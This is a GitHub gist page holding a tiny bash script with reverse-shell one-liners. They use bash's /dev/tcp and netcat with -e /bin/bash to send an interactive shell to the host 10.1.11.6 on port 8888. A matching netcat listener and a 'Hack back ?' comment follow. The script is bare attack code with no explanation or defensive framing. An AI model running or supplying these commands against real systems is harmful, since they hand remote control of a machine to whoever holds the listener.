Skip to content

Instantly share code, notes, and snippets.

@int0TheW1ld
Last active July 1, 2019 13:02
Show Gist options
  • Select an option

  • Save int0TheW1ld/b155e0761546df4369e8aab740a18c95 to your computer and use it in GitHub Desktop.

Select an option

Save int0TheW1ld/b155e0761546df4369e8aab740a18c95 to your computer and use it in GitHub Desktop.
#!/bin/bash
# rbash -> restricted shell
rbash -i >& /dev/tcp/10.1.11.6/8888 0>&1
# Hack back ?
nc 10.1.11.6 8888 -e /bin/bash;
nc -lvp 8888
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment